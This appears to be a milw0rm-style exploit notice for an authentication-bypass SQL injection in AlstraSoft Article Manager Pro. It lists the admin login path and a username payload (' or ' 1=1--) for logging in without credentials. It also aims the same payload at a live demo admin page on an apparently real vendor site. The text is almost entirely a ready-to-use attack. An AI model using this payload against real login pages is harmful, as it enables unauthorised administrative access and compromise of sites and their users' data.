AlstraSoft Article Manager Pro (Auth Bypass) SQL Injection Vuln

AlstraSoft Article Manager Pro (Auth Bypass) SQL Injection Vuln

link: http://www.milw0rm.com/exploits/7102

Discovered By: ZoRLu

Exploit:

localhost/script/admin/admin.php

username: ' or ' 1=1--

password: ZoRLu



admin login for demo:

http://www.blizsoft.com/article/admin/admin.php

username: ' or ' 1=1--

password: ZoRLu